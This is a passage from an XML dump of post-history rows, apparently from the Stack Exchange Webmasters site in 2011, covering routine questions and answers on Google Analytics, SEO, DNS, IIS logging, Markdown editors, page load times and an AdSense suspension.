  <row Id="42481" PostHistoryTypeId="3" PostId="17622" RevisionGUID="cd9866c5-14fc-4f50-988a-b0f922aeb317" CreationDate="2011-08-01T07:00:50.137" UserId="2842" Text="&lt;seo&gt;&lt;google&gt;&lt;video&gt;&lt;google-ranking&gt;" />
  <row Id="42482" PostHistoryTypeId="5" PostId="17621" RevisionGUID="241f9c95-85db-4ba5-aa36-93e64b0e6fbe" CreationDate="2011-08-01T07:06:02.270" UserId="4306" Comment="expanded on answer" Text="You can use one GA snippet to send data to two different trackers. Follow the syntax below from the [Asynchronous Tracking Usage Guide][1:&#xD;&#xA;&#xD;&#xA;    _gaq.push(&#xD;&#xA;      ['_setAccount', 'UA-XXXXX-1'],   //default tracker, unnamed&#xD;&#xA;      ['_trackPageview'],&#xD;&#xA;      ['b._setAccount', 'UA-XXXXX-2'], //second tracker, named 'b'&#xD;&#xA;      ['b._trackPageview']&#xD;&#xA;    );&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/analytics/docs/tracking/asyncUsageGuide.html#MultipleCommands&#xD;&#xA;&#xD;&#xA;Additional trackers are created by giving them names and prepending the tracker name (along with a dot) in front of the method name. The example above uses the aribrary name 'b'.  If a function name is qualified with the name of a tracker, it is executed on that tracker. Otherwise it is executed on the default tracker.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/asyncUsageGuide.html" />
  <row Id="42483" PostHistoryTypeId="2" PostId="17623" RevisionGUID="ba00bdb0-4f3f-4238-a0c1-7811c0a651a6" CreationDate="2011-08-01T07:07:22.763" UserId="8957" Text="You will have to submit a [sitemap][1] for the videos to google.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sitemaps.org" />
  <row Id="42484" PostHistoryTypeId="2" PostId="17624" RevisionGUID="4c7ca152-16a1-40d2-95b0-f50b7506ac91" CreationDate="2011-08-01T07:13:35.370" UserId="4306" Text="Yes, the IP addresses in your logs probably belong to bots.&#xD;&#xA;&#xD;&#xA;If the bot is set to only download html, and not request any other resources (javascript, images, etc), each page view will correspond to a single hit.&#xD;&#xA;&#xD;&#xA;Most bots (indexing spiders, screen-scrapers, vulnerability hunters) will only be interested in the HTML, so this looks like typical bot behaviour." />
  <row Id="42485" PostHistoryTypeId="6" PostId="17618" RevisionGUID="ae716670-2259-4167-860f-6caf6037c8dd" CreationDate="2011-08-01T07:46:49.537" UserId="1240" Comment="edited tags" Text="&lt;javascript&gt;&lt;looking-for-a-script&gt;&lt;html5&gt;" />
  <row Id="42486" PostHistoryTypeId="2" PostId="17625" RevisionGUID="4996a0b0-0911-41fe-9779-58630e519629" CreationDate="2011-08-01T09:04:20.530" UserId="3574" Text="I strongly suggest you run through the [Wiki Choice Wizard][1] over at WikiMatrix.org&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wikimatrix.org/wizard.php" />
  <row Id="42487" PostHistoryTypeId="2" PostId="17626" RevisionGUID="d4bf6fdb-da4e-494c-bc88-afc7cce08e4d" CreationDate="2011-08-01T09:11:13.660" UserId="5322" Text="Linode is **not** a managed service. This means you have to set everything up from a-z.&#xD;&#xA;&#xD;&#xA;They have a good range of stack scripts to setup your server. Then you'll need to add your domain using the DNS manager of the linode manager page. Then you'll probably need to manually configure your server's config files to add your domain.&#xD;&#xA;&#xD;&#xA;It's a bit of a process if you're new to it all, but that's actually the benefit of an un-managed VPS, having full control of the system.&#xD;&#xA;&#xD;&#xA;If you're new to this, and didn't realise what you were getting into, it might be best to lodge a support request for a refund. And next time look for a Managed VPS. Managed means someone will set it all up for you.&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="42488" PostHistoryTypeId="17" PostId="17627" RevisionGUID="79330094-918b-4b67-aaa7-22310bdbab1f" CreationDate="2011-08-01T09:15:09.920" UserId="-1" Comment="from http://stackoverflow.com/questions/6896001/allow-cname-income-to-my-server" Text="" />
  <row Id="42489" PostHistoryTypeId="2" PostId="17627" RevisionGUID="7a0e97c5-82bc-41fd-94b9-2e605e8657f9" CreationDate="2011-08-01T08:41:23.910" UserDisplayName="codeworxx" Text="i have a Problem:&#xD;&#xA;&#xD;&#xA;I have created a CMS for my customers where they get an subdomain - e.g. customer.mydomain.tld.&#xD;&#xA;Now i want them to allow a CNAME entry to point to this Subdomain.&#xD;&#xA;&#xD;&#xA;But when i register a Domain and add a CNAME to customer.mydomain.tld i get only my servers default domain shown - not the customer.mydomain.tld.&#xD;&#xA;&#xD;&#xA;We have our own Rootserver.&#xD;&#xA;&#xD;&#xA;Where could be the problem?" />
  <row Id="42490" PostHistoryTypeId="1" PostId="17627" RevisionGUID="7a0e97c5-82bc-41fd-94b9-2e605e8657f9" CreationDate="2011-08-01T08:41:23.910" UserDisplayName="codeworxx" Text="Allow CNAME income to my Server" />
  <row Id="42491" PostHistoryTypeId="3" PostId="17627" RevisionGUID="7a0e97c5-82bc-41fd-94b9-2e605e8657f9" CreationDate="2011-08-01T08:41:23.910" UserDisplayName="codeworxx" Text="&lt;dns&gt;&lt;subdomain&gt;" />
  <row Id="42492" PostHistoryTypeId="2" PostId="17628" RevisionGUID="6410fa00-9c34-4c73-9e18-20e3414818c2" CreationDate="2011-08-01T09:17:56.277" UserId="8687" Text="I have a site with uses a some content generated by myself, some from users, and some from a source such as wikipedia. The wikipedia sourced content is unmodified but makes up no more than 30% of the page and is never the entire wiki article, just an extract of a few paragraphs.&#xD;&#xA;&#xD;&#xA;How much new content do I have to add to the wikipedia source to avoid being marked as duplicate content and penalised in my SEO?" />
  <row Id="42493" PostHistoryTypeId="1" PostId="17628" RevisionGUID="6410fa00-9c34-4c73-9e18-20e3414818c2" CreationDate="2011-08-01T09:17:56.277" UserId="8687" Text="What % of a page needs to be unique in order to prevent duplicate content penalties?" />
  <row Id="42494" PostHistoryTypeId="3" PostId="17628" RevisionGUID="6410fa00-9c34-4c73-9e18-20e3414818c2" CreationDate="2011-08-01T09:17:56.277" UserId="8687" Text="&lt;seo&gt;&lt;duplicate-content&gt;" />
  <row Id="42495" PostHistoryTypeId="25" PostId="17612" RevisionGUID="f1b729d5-46d6-4466-8b23-ec29f3e33552" CreationDate="2011-08-01T09:33:56.983" Comment="http://twitter.com/#!/StackWebmasters/status/97963263836430336" />
  <row Id="42496" PostHistoryTypeId="4" PostId="17527" RevisionGUID="1e5ad3b3-0925-4d17-ad54-3e3c16e8ba8b" CreationDate="2011-08-01T10:26:44.817" UserId="4306" Comment="updated subject for clarity" Text="Do these IP addresses belong to robots?" />
  <row Id="42497" PostHistoryTypeId="24" PostId="17527" RevisionGUID="1e5ad3b3-0925-4d17-ad54-3e3c16e8ba8b" CreationDate="2011-08-01T10:26:44.817" Comment="Proposed by 4306 approved by 1064 edit id of 469" />
  <row Id="42498" PostHistoryTypeId="4" PostId="17620" RevisionGUID="eaa0be67-39ea-42d9-8450-3af561928272" CreationDate="2011-08-01T10:26:54.910" UserId="4306" Comment="fixed mis-spelling" Text="How do you track a website using multiple Google Analytics accounts?" />
  <row Id="42499" PostHistoryTypeId="24" PostId="17620" RevisionGUID="eaa0be67-39ea-42d9-8450-3af561928272" CreationDate="2011-08-01T10:26:54.910" Comment="Proposed by 4306 approved by 1064 edit id of 470" />
  <row Id="42500" PostHistoryTypeId="2" PostId="17629" RevisionGUID="f4f9deaa-2ac1-4f2b-ab8c-3527528e6644" CreationDate="2011-08-01T11:12:21.367" UserId="1064" Text="&gt; How much new content do I have to add to the wikipedia source to avoid&#xD;&#xA;&gt; being marked as duplicate content and penalised in my SEO?&#xD;&#xA;&#xD;&#xA;That question may raise a few eyebrows, as it appears as though you are asking what bare minimum percentage of change is necessary to avoid spam detection (which raises the question of whether or not you are attempting to produce undetectable spam).&#xD;&#xA;&#xD;&#xA;You may want to consider Google's own [Duplicate Content][1] guide and Jill Whalen's [Duplicate Content Penalty Myth][2] article (which echoes Google's recommendations) - fair use of content from other sources will not trigger a penalty of any kind, and, though it would be inadvisable to copy things wholesale if you want to rank first in results, there is [proof][3]* that Google does not penalize such activities.&#xD;&#xA;&#xD;&#xA;(* See answers on that question for active, attribution-compliant clone sites or try an exact phrase search for any StackOverflow question to see how Google prioritizes duplicated content)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66359&#xD;&#xA;  [2]: http://searchengineland.com/the-duplicate-content-penalty-myth-10741&#xD;&#xA;  [3]: http://meta.stackoverflow.com/questions/24611/is-it-legal-to-copy-stack-overflow-questions-and-answers" />
  <row Id="42501" PostHistoryTypeId="2" PostId="17630" RevisionGUID="33677963-3505-4aa6-a370-1b0e866a16bd" CreationDate="2011-08-01T11:12:38.390" UserId="922" Text="Which event log files does the IIS 7.0 Application Pool Recycling log to?  &#xD;&#xA;I want to check out at what time the default app pool automatically recylces." />
  <row Id="42502" PostHistoryTypeId="1" PostId="17630" RevisionGUID="33677963-3505-4aa6-a370-1b0e866a16bd" CreationDate="2011-08-01T11:12:38.390" UserId="922" Text="Which event log file does IIS 7 app pool log to" />
  <row Id="42503" PostHistoryTypeId="3" PostId="17630" RevisionGUID="33677963-3505-4aa6-a370-1b0e866a16bd" CreationDate="2011-08-01T11:12:38.390" UserId="922" Text="&lt;iis7&gt;" />
  <row Id="42506" PostHistoryTypeId="2" PostId="17632" RevisionGUID="04565737-d900-4c60-a63a-733ebdd20b59" CreationDate="2011-08-01T11:33:30.240" UserId="9307" Text="I am a web developer putting together a system for writers/editors to efficiently add — fairly rich — content to a website.&#xD;&#xA;&#xD;&#xA;I've previously used standard WYSIWYG editors but find that often what you see isn't what you get. I've seen this lead to frustration and bad code.&#xD;&#xA;&#xD;&#xA;Has anyone implemented Markdown to write articles? If so, how did you find it? I like the idea of saving articles in markdown as it keep HTML separated from the content.&#xD;&#xA;&#xD;&#xA;Does anyone have any experiences in working on large news/editorial sites they could share?&#xD;&#xA;&#xD;&#xA;Thank you for your time,&#xD;&#xA;&#xD;&#xA;Ad&#xD;&#xA;" />
  <row Id="42507" PostHistoryTypeId="1" PostId="17632" RevisionGUID="04565737-d900-4c60-a63a-733ebdd20b59" CreationDate="2011-08-01T11:33:30.240" UserId="9307" Text="How do you get your editors to submit articles?" />
  <row Id="42508" PostHistoryTypeId="3" PostId="17632" RevisionGUID="04565737-d900-4c60-a63a-733ebdd20b59" CreationDate="2011-08-01T11:33:30.240" UserId="9307" Text="&lt;cms&gt;&lt;text-editor&gt;" />
  <row Id="42509" PostHistoryTypeId="5" PostId="17632" RevisionGUID="841043fb-a862-4d19-b1a8-290518a87faf" CreationDate="2011-08-01T11:38:39.487" UserId="1253" Comment="minor text edits removed subjective question" Text="I am a web developer putting together a system for writers/editors to efficiently add — fairly rich — content to a website.&#xD;&#xA;&#xD;&#xA;I've previously used standard WYSIWYG editors but find that often what you see isn't what you get. I've seen this lead to frustration and bad code.&#xD;&#xA;&#xD;&#xA;Has anyone implemented Markdown to write articles? If so, how did you find it? I like the idea of saving articles in markdown as it keep HTML separated from the content.&#xD;&#xA;" />
  <row Id="42510" PostHistoryTypeId="5" PostId="17627" RevisionGUID="a9fdd72b-6f0f-4a8a-92be-5e9d16c8e638" CreationDate="2011-08-01T11:40:49.283" UserId="1253" Comment="minor text edits" Text="I have created a CMS for my customers where they get an subdomain - e.g. customer.mydomain.tld.&#xD;&#xA;Now i want them to allow a CNAME entry to point to this Subdomain.&#xD;&#xA;&#xD;&#xA;But when i register a Domain and add a CNAME to customer.mydomain.tld i get only my servers default domain shown - not the customer.mydomain.tld.&#xD;&#xA;&#xD;&#xA;We have our own Rootserver.&#xD;&#xA;&#xD;&#xA;Where could be the problem?" />
  <row Id="42511" PostHistoryTypeId="5" PostId="17618" RevisionGUID="18b2c9ff-81d9-405d-8649-cf110b1de7b9" CreationDate="2011-08-01T11:42:01.560" UserId="1253" Comment="minor text edits" Text="Fairly simple really, I just want people to be able to drag an image onto another image, position it where they want by dragging it around, and then when they're happy with it, click a button to save it (on my server) as a file (preferably a PDF or PNG).&#xD;&#xA;&#xD;&#xA;This may sound like a newb question, but I am not asking HOW to accomplish this, just what the best technology currently is (js, html5, something else, maybe some existing libraries ala jQuery). I have been focusing on back-end stuff for a few years and am TOTALLY out of touch with what is the best way to do this. I don't want to use Flash, I know that.&#xD;&#xA;&#xD;&#xA;I'm looking for a method that is both cross-platform, and easy enough to learn, or preferably if there are good libraries I can adapt easily.&#xD;&#xA;" />
  <row Id="42512" PostHistoryTypeId="4" PostId="17618" RevisionGUID="18b2c9ff-81d9-405d-8649-cf110b1de7b9" CreationDate="2011-08-01T11:42:01.560" UserId="1253" Comment="minor text edits" Text="What is the technology used to let ppl drag and drop images on top of each other, then save the result?" />
  <row Id="42513" PostHistoryTypeId="2" PostId="17633" RevisionGUID="8d7b3447-7e0b-4930-9cb7-3b312e121d4f" CreationDate="2011-08-01T11:51:03.803" UserId="8354" Text="It is definitely **System Log**. &#xD;&#xA;&#xD;&#xA;**Which Log file?** Well -- you can check the physical path by right clicking on the System Log (e.g. Server Manager | Diagnostics | Event Viewer | Windows Logs). The default physical path is `%SystemRoot%\System32\Winevt\Logs\System.evtx`.&#xD;&#xA;&#xD;&#xA;You can create a **Custom Filter** and filter by &quot;Source: WAS&quot; to quickly see only entries generated by IIS.&#xD;&#xA;&#xD;&#xA;You may need first to enable logging of such even for a specific App Pool -- by default App Pool has only 3 recycle events out of 8 enabled. To change it using GUI: II S Manager | Application Pools | Select App Pool -&gt; Advanced Settings | Generate Recycle Event Log Entry." />
  <row Id="42514" PostHistoryTypeId="25" PostId="17632" RevisionGUID="01b2de74-2930-4ad5-83a0-f0a6da79569d" CreationDate="2011-08-01T12:33:57.010" Comment="http://twitter.com/#!/StackWebmasters/status/98008562940391425" />
  <row Id="42515" PostHistoryTypeId="4" PostId="17632" RevisionGUID="4bdb7e3c-d7f9-4f71-9967-0f0d46a4a682" CreationDate="2011-08-01T13:14:14.477" UserId="1643" Comment="Following edit to remove open ended part of question, title needed rewriting" Text="How have you found Markdown for writers/editors working on articles?" />
  <row Id="42516" PostHistoryTypeId="6" PostId="17632" RevisionGUID="4bdb7e3c-d7f9-4f71-9967-0f0d46a4a682" CreationDate="2011-08-01T13:14:14.477" UserId="1643" Comment="Following edit to remove open ended part of question, title needed rewriting" Text="&lt;cms&gt;&lt;text-editor&gt;&lt;markdown&gt;" />
  <row Id="42517" PostHistoryTypeId="6" PostId="13300" RevisionGUID="b28dc01d-12b1-4c41-b6a7-f5941a5398c0" CreationDate="2011-08-01T13:14:32.993" UserId="1643" Comment="edited tags" Text="&lt;joomla&gt;&lt;text-editor&gt;&lt;markdown&gt;" />
  <row Id="42518" PostHistoryTypeId="6" PostId="14680" RevisionGUID="95bea3e4-d910-44f6-8faa-aa9eb09d0b07" CreationDate="2011-08-01T13:14:52.697" UserId="1643" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;blog&gt;&lt;markdown&gt;" />
  <row Id="42519" PostHistoryTypeId="6" PostId="14149" RevisionGUID="797ac853-b1c7-4ad9-9e20-ec57f4da971e" CreationDate="2011-08-01T13:15:10.357" UserId="1643" Comment="edited tags" Text="&lt;domains&gt;&lt;drupal&gt;&lt;multilingual&gt;&lt;markdown&gt;" />
  <row Id="42520" PostHistoryTypeId="6" PostId="15723" RevisionGUID="e13b7e6b-8e33-4ce7-a213-0f9b6e0eac33" CreationDate="2011-08-01T13:15:23.197" UserId="1643" Comment="edited tags" Text="&lt;joomla&gt;&lt;text-editor&gt;&lt;administration&gt;&lt;markdown&gt;" />
  <row Id="42521" PostHistoryTypeId="2" PostId="17634" RevisionGUID="315dc72e-7afa-4233-a7c7-70d4ed5b1191" CreationDate="2011-08-01T13:18:16.063" UserId="9308" Text="I am going to put four sets of criteria out there for you to examine tools, and there are lots of them available in the open source and commercial realms to performance test applications.&#xD;&#xA;&#xD;&#xA;(1) Will it exercise my interfaces on my apoplication?   There are lots of tools out there which are free but interface monolithic and may not exercise your app fully.   Commercial tools have wider protocol/interface support than do open source ones&#xD;&#xA;(2) Will the reporting match my needs?   Nothing is more frustrating than running a test and then having to spend days trying to pull together results into some meaningful form for analysis and to determine whether you have hit your requirements or not.  Once again, this is an area where commercial tools beat the snot out of the open source ones.&#xD;&#xA;(3) Does my team have the technical skills to use the tool?   You don't want to be climbing the hurdles or both performance testing process, analysis and then yeat another language/tool to learn at the same time.   Bea realistic.&#xD;&#xA;(4) Will it run on my testing infrastrcture?   Check the requirements.  IF a particular OS and version is noted, then use it or don't use the tool.   Fewer things are more frustrating to tool support when someone calls/emails in with a a problem only to find that the requirements for installation and operation have been ignored.&#xD;&#xA;&#xD;&#xA;Numbers 1-3 are critical.  Have a miss on any of these three and you may have well have purchased the most expensive commercial tool and hired the most expensive consulting firm to deploy it for you - You don't want to be caught driving nails with the butt end of a screwdriver simply because your boss told you that the nail gun was tool expensive for the house you were asked to build (Note: Nail guns are often avilable for rental, just like commercial test tools :) )   " />
  <row Id="42522" PostHistoryTypeId="5" PostId="17618" RevisionGUID="e086ac80-4344-476f-a472-99f52241235d" CreationDate="2011-08-01T13:56:08.183" UserId="288" Comment="spelling etc." Text="Fairly simple really, I just want people to be able to drag an image onto another image, position it where they want by dragging it around, and then when they're happy with it, click a button to save it (on my server) as a file (preferably a PDF or PNG).&#xD;&#xA;&#xD;&#xA;This may sound like a simple, beginner's question, but I am not asking HOW to accomplish this, just what the best technology currently is (JS, HTML5, something else, maybe some existing libraries ala jQuery). I have been focusing on back-end stuff for a few years and am TOTALLY out of touch with what is the best way to do this. I don't want to use Flash, I know that.&#xD;&#xA;&#xD;&#xA;I'm looking for a method that is both cross-platform, and easy enough to learn, or preferably if there are good libraries I can adapt easily.&#xD;&#xA;" />
  <row Id="42523" PostHistoryTypeId="4" PostId="17618" RevisionGUID="e086ac80-4344-476f-a472-99f52241235d" CreationDate="2011-08-01T13:56:08.183" UserId="288" Comment="spelling etc." Text="What is the technology used to let people drag and drop images on top of each other, then save the result?" />
  <row Id="42524" PostHistoryTypeId="24" PostId="17618" RevisionGUID="e086ac80-4344-476f-a472-99f52241235d" CreationDate="2011-08-01T13:56:08.183" Comment="Proposed by 288 approved by 233 edit id of 471" />
  <row Id="42525" PostHistoryTypeId="2" PostId="17635" RevisionGUID="10f160e8-e44d-423c-8f64-2e7858c16484" CreationDate="2011-08-01T14:09:44.163" UserId="233" Text="&gt; in the first category you can't minify the javascript behind them because the javascript hasn't been written to conform to say jslint or any other code validation&#xD;&#xA;&#xD;&#xA;It doesn't matter if the code doesn't follow any &quot;validation standard&quot;, you can still minify it just fine. Check out [Closure Compiler][1], probably the best one around.&#xD;&#xA;&#xD;&#xA;I would suggest avoiding the second one if there is a good chance it's insecure or inefficient. Your issues with the first one are likely easily fixed.&#xD;&#xA;&#xD;&#xA;  [1]: http://closure-compiler.appspot.com/home" />
  <row Id="42526" PostHistoryTypeId="2" PostId="17636" RevisionGUID="51dfd7e6-18e7-4269-a9af-be43ab1b26b1" CreationDate="2011-08-01T14:23:40.967" UserId="7810" Text="I don't know what you need to do but like LazyOne said, you shouldn't use a gui on a server since it is going to use a lot of the resources.&#xD;&#xA;&#xD;&#xA;However, if you need it is possible. You will need to install the gui packages and to allow X11 forwarding. You then need to connect with ssh with a client that support X11, If you are on windows you can use [Xming][1]&#xD;&#xA;&#xD;&#xA;However, if the reason you want to use a gui is because you don't feel confident with the command line, it will be really hard for you to make it work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.straightrunning.com/XmingNotes/" />
  <row Id="42527" PostHistoryTypeId="2" PostId="17637" RevisionGUID="147ae6e3-4535-491e-9aa9-626953ddd76b" CreationDate="2011-08-01T14:33:50.460" UserId="7810" Text="The performance will drop only when generating the pages. By default some CMS do not Cache (pre-generate) the pages, that means that every time someone visit that page the php script is executed, the performance will greatly decrease.&#xD;&#xA;&#xD;&#xA;If you use proper Cachin, the server should run the php script only once and generate the static page, that means that there would be almost no performance impact.&#xD;&#xA;&#xD;&#xA;There are many Cachin plugins available for every CMS." />
  <row Id="42528" PostHistoryTypeId="2" PostId="17638" RevisionGUID="f9a604b5-6690-4f0c-a49e-a0eb2d2ce697" CreationDate="2011-08-01T15:06:52.180" UserId="9309" Text="I have [an overview page with links to the social media presence of all the teams taking part in a competition.][1] &#xD;&#xA;&#xD;&#xA;Basically, the page is a big table with, where appropriate, in the cells an iframe with a social media plugin like the Twitter widget or the Facebook button, linking to the account of the team in question.&#xD;&#xA;&#xD;&#xA;However, the page loads very slowly, because of the look-up time of all these little iframe plugins.&#xD;&#xA;&#xD;&#xA;Is there a way I can reduce the load time of this page?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://2011.igem.org/Team:KULeuven/SocialMedia" />
  <row Id="42529" PostHistoryTypeId="1" PostId="17638" RevisionGUID="f9a604b5-6690-4f0c-a49e-a0eb2d2ce697" CreationDate="2011-08-01T15:06:52.180" UserId="9309" Text="How to reduce the load time on a page with a lot of iframes (social media plugins)" />
  <row Id="42530" PostHistoryTypeId="3" PostId="17638" RevisionGUID="f9a604b5-6690-4f0c-a49e-a0eb2d2ce697" CreationDate="2011-08-01T15:06:52.180" UserId="9309" Text="&lt;iframe&gt;&lt;load-time&gt;&lt;facebook-application&gt;&lt;twitter-integration&gt;" />
  <row Id="42531" PostHistoryTypeId="5" PostId="17634" RevisionGUID="7baadf7d-05af-4542-bf07-30d6fb484624" CreationDate="2011-08-01T15:10:42.647" UserId="166" Comment="formatting" Text="I am going to put four sets of criteria out there for you to examine tools, and there are lots of them available in the open source and commercial realms to performance test applications.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. Will it exercise my interfaces on my application?   There are lots&#xD;&#xA;    of tools out there which are free but interface monolithic and may&#xD;&#xA;    not exercise your app fully.   Commercial tools have wider&#xD;&#xA;    protocol/interface support than do open source ones&#xD;&#xA; 2. Will the reporting match my needs?   Nothing is more frustrating&#xD;&#xA;    than running a test and then having to spend days trying to pull&#xD;&#xA;    together results into some meaningful form for analysis and to&#xD;&#xA;    determine whether you have hit your requirements or not.  Once&#xD;&#xA;    again, this is an area where commercial tools beat the snot out of&#xD;&#xA;    the open source ones.&#xD;&#xA; 3. Does my team have the technical skills to use the tool?   You don't&#xD;&#xA;    want to be climbing the hurdles or both performance testing process,&#xD;&#xA;    analysis and then yet another language/tool to learn at the same&#xD;&#xA;    time.   Be realistic.&#xD;&#xA; 4. Will it run on my testing infrastructure?   Check the requirements. &#xD;&#xA;    IF a particular OS and version is noted, then use it or don't use&#xD;&#xA;    the tool.   Fewer things are more frustrating to tool support when&#xD;&#xA;    someone calls/emails in with a a problem only to find that the&#xD;&#xA;    requirements for installation and operation have been ignored.&#xD;&#xA;&#xD;&#xA;Numbers 1-3 are critical.  Have a miss on any of these three and you may have well have purchased the most expensive commercial tool and hired the most expensive consulting firm to deploy it for you - You don't want to be caught driving nails with the butt end of a screwdriver simply because your boss told you that the nail gun was tool expensive for the house you were asked to build (Note: Nail guns are often available for rental, just like commercial test tools)   " />
  <row Id="42532" PostHistoryTypeId="24" PostId="17634" RevisionGUID="7baadf7d-05af-4542-bf07-30d6fb484624" CreationDate="2011-08-01T15:10:42.647" Comment="Proposed by 166 approved by 1064 edit id of 472" />
  <row Id="42537" PostHistoryTypeId="25" PostId="17628" RevisionGUID="d49aafb2-ef68-41b6-a842-f217089801d5" CreationDate="2011-08-01T15:33:57.127" Comment="http://twitter.com/#!/StackWebmasters/status/98053861834633216" />
  <row Id="42538" PostHistoryTypeId="5" PostId="17617" RevisionGUID="52b21d53-091d-4f16-a6b6-65e0807a6149" CreationDate="2011-08-01T15:59:06.267" UserId="4502" Comment="OP was confused by &quot;encoding&quot;; fixed." Text="@PeanutsMonkey You didn't really answer John's question. At least it doesn't seem so. You just restated that people end up at a porn site. (Maybe you're just being brief at the cost of clarity.) I'm not sure it's even possible to &quot;take over&quot; an existing TinyURL in the way you're describing.&#xD;&#xA;&#xD;&#xA;Use [LongURL](http://longurl.org/) to find out where the tinyurl is really pointing. It'll also show you if there are subsequent redirects. So if you first see your original URL, and then the porn site, that means the redirect is happening on your end, not via TinyURL itself.&#xD;&#xA;&#xD;&#xA;For example I just created [this tinyurl](http://tinyurl.com/3du9gh) by shortening `http://apple.com/store` which Apple redirects to their preferred location of `http://store.apple.com/us` and here are the [LongURL results](http://longurl.org/expand?url=http%3A%2F%2Ftinyurl.com%2F3du9gh) showing that there's even an intermediate redirect they put you through." />
  <row Id="42539" PostHistoryTypeId="2" PostId="17641" RevisionGUID="3dec9025-9cab-496f-881a-233cc1fa1998" CreationDate="2011-08-01T16:06:41.137" UserId="1445" Text="According to Google Analytics, a particular page has 97710 page views. This page has an exit rate of 57.82% and a bounce rate of 64.4%. According to the Navigation Summary page, 91.76% of page visits were entrances, and 8.24% came from previous pages.&#xD;&#xA;&#xD;&#xA;From the page views and entrance rate, I calculate the number of direct entrances as:&#xD;&#xA;&#xD;&#xA;`.9176 * 97710 = 89659`&#xD;&#xA;&#xD;&#xA;and from that, I calculate the number of bounces as:&#xD;&#xA;&#xD;&#xA;`.644 * 89659 = 57740`&#xD;&#xA;&#xD;&#xA;This seems reasonable. Then, from the exit rate and the number of page views, I calculate the number of exits as:&#xD;&#xA;&#xD;&#xA;`.5782 * 97710 = 56496`&#xD;&#xA;&#xD;&#xA;This too seems like a reasonable number...but then I saw that the number of bounces (57740) &gt; the number of total exits (56496)!&#xD;&#xA;&#xD;&#xA;I've read about what exactly bounce rate and exit rate are, and I've looked at a few examples online where people showed examples of how to calculate bounce and exit rates. Does anyone see anything wrong with my math? Or do I misunderstand how Analytics works?" />
  <row Id="42540" PostHistoryTypeId="1" PostId="17641" RevisionGUID="3dec9025-9cab-496f-881a-233cc1fa1998" CreationDate="2011-08-01T16:06:41.137" UserId="1445" Text="How can I have more bounces than exits in Google Analytics?" />
  <row Id="42541" PostHistoryTypeId="3" PostId="17641" RevisionGUID="3dec9025-9cab-496f-881a-233cc1fa1998" CreationDate="2011-08-01T16:06:41.137" UserId="1445" Text="&lt;google-analytics&gt;&lt;bounce-rate&gt;" />
  <row Id="42542" PostHistoryTypeId="2" PostId="17642" RevisionGUID="20afcc96-571f-4cfe-8ea9-55e652f19ff1" CreationDate="2011-08-01T16:15:03.500" UserId="8557" Text=" 1. Paste the button JS only once at the bottom of the page and then load the HTML as many times as you want.&#xD;&#xA; 2. Try to use static links for Facebook and Twitter like on [this site][1] if you do not wan't the share count.&#xD;&#xA; 3. Use share tools like [ShareThis][2] and [AddThis][3] which have already optimized JavaScript.&#xD;&#xA; 4. Using cache to increase PageSpeed and decrease load times is very effective. As you are using MediaWiki, [try this][4].&#xD;&#xA; 5. If you are done with the above, try optimizing other aspects of the site for an overall performance boost. You can start with [Google PageSpeed][5] and [Yahoo YSlow][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amitash.com/&#xD;&#xA;  [2]: http://www.sharethis.com/&#xD;&#xA;  [3]: http://www.addthis.com/&#xD;&#xA;  [4]: http://www.mediawiki.org/wiki/Extension:CacheManager&#xD;&#xA;  [5]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [6]: http://developer.yahoo.com/yslow/" />
  <row Id="42546" PostHistoryTypeId="17" PostId="17643" RevisionGUID="0bb8de6d-3c8c-40f0-aab6-45e8fceb4b62" CreationDate="2011-08-01T16:39:29.503" UserId="-1" Comment="from http://stackoverflow.com/questions/6821276/your-adsense-account-poses-a-risk-of-generating-invalid-activity" Text="" />
  <row Id="42547" PostHistoryTypeId="17" PostId="17644" RevisionGUID="e5085dfa-0ed8-414c-aa47-4f82c633ac3a" CreationDate="2011-08-01T16:39:29.503" UserId="-1" Comment="from http://stackoverflow.com/questions/6821276/your-adsense-account-poses-a-risk-of-generating-invalid-activity" Text="" />
  <row Id="42548" PostHistoryTypeId="2" PostId="17644" RevisionGUID="e7ce1800-0071-4203-bc7c-529c5b6b6a90" CreationDate="2011-07-25T19:37:38.293" UserDisplayName="datboitom" Text="I encountered this a few years ago when I had a large revenue generating website. I had a few grand google adsense still needed to pay me before they pulled the same thing and removed my account, when I was doing nothing wrong. I couldn't even apply again afterwards so I simply stopped using them. I don't believe they will accept you if you try to reapply." />
  <row Id="42549" PostHistoryTypeId="2" PostId="17643" RevisionGUID="36a2fb4a-1b1f-4b47-837b-60dd7c4b9981" CreationDate="2011-07-25T19:31:21.060" UserId="6415" Text="i received a mail from the adsense team saying:&#xD;&#xA;&#xD;&#xA;I am not an adsense expert, im actually quite new to it.&#xD;&#xA;I spent a lot of time on my site http://goo.gl/PZJLO , its a news aggregator with tons of options. In the meantime i discovered the double click service that had a good option to turn on google ads when you don't have any other running so i joined up for google adsense with my company account. Everything went smooth until one day (21.Jul.2011) i got an email...&#xD;&#xA;&#xD;&#xA;&gt; Hello,&#xD;&#xA;&gt; &#xD;&#xA;&gt; After reviewing our records, we've determined that your AdSense&#xD;&#xA;&gt; account poses a risk of generating invalid activity. Because we have a&#xD;&#xA;&gt; responsibility to protect our AdWords advertisers from inflated costs&#xD;&#xA;&gt; due to invalid activity, we've found it necessary to disable your&#xD;&#xA;&gt; AdSense account. Your outstanding balance and Google's share of the&#xD;&#xA;&gt; revenue will both be fully refunded back to the affected advertisers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Please understand that we need to take such steps to maintain the&#xD;&#xA;&gt; effectiveness of Google's advertising system, particularly the&#xD;&#xA;&gt; advertiser-publisher relationship. We understand the inconvenience&#xD;&#xA;&gt; that this may cause you, and we thank you in advance for your&#xD;&#xA;&gt; understanding and cooperation.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you have any questions or concerns about the actions we've 